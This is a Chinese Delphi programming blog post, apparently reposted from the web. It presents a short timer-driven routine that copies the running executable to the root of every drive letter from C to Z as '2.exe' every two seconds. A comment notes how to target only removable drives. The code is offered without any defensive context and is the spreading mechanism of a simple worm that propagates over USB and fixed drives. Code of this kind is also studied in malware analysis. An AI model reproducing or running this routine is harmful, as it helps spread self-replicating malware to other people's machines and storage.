delphi 利用for循环自我复制到全盘用timer监控


本文整理自网络,侵删。

 var
i:char;
s3:string;
//设为2秒
procedure TForm1.Timer1Timer(Sender: TObject); //每2秒运行1次
begin
for i:='C' to 'Z' do //注意下面的begin end;
begin
s3:=pchar(i+':\2.exe');
copyfile(pchar(application.Exename),pchar(s3),False);
if not Fileexists(s3) then
Timer1.Enabled:=true
else
Timer1.Enabled:=false;
end;
end;

end.
//移动硬盘返回 DRIVE_REMOVABLE
//本地硬盘返回 DRIVE_FIXED
//可选 if GETDRIVETYPE (PChar(i+':\'))=DRIVE_REMOVABLE then

相关阅读 >>

Delphi三层开发小技巧:tclientdataset的delta妙用

Delphi xe7开发的直接以管理员模式启动cmd命令行界面

Delphi 删除文件的函数

Delphi打开外部程序或文件

Delphi2010安装twordapplication控件

Delphi 的内存操作函数(5): 复制内存

Delphi gethref 获取<a href="链接"></a>中href的数据

Delphi 合并字符串的函数

Delphi 的字符及字符串 - char、ansichar、widechar、pchar、pansichar、pwidechar

Delphi遍历文件目录

更多相关阅读请进入《Delphi》频道 >>



打赏

取消

感谢您的支持,我会继续努力的!

扫码支持
扫码打赏,您说多少就多少

打开支付宝扫一扫,即可进行扫码打赏哦

分享从这里开始,精彩与您同在

评论

管理员已关闭评论功能...